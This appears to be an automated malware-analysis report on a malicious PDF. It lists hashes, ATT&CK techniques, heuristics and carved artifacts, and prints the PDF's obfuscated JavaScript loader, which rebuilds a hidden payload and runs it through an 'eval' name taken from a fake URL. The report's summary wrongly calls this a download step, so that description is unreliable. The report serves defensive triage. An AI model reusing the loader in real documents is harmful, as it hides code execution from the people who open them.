Malicious PDF — malware analysis report

Static analysis result for SHA-256 a5ea1f318d40e45f…

MALICIOUS

PDF

5.1 KB First seen: 2026-05-09
MD5: cfa7d44025c05e12edf55de17a3751c0 SHA-1: a0a4f99a9176a63d6e2f904747891c9c9bb5bea4 SHA-256: a5ea1f318d40e45f0a419a8eb349d60753d4b4ee7406bfe6b332a2dd611fd917
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that attempts to reconstruct a URL and download a second-stage payload. The script concatenates 'http://e' and 'val/query?a=exemple&b=2' to form the full URL. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt. The embedded file is likely the second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: ae448358718c494aa9c7bf3e11051efb24665db80ff857317961c53eb9539a93
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'aZKbNZlBAP8NArIN1aZKbNZlBAP8NArIN2aZKbNZ') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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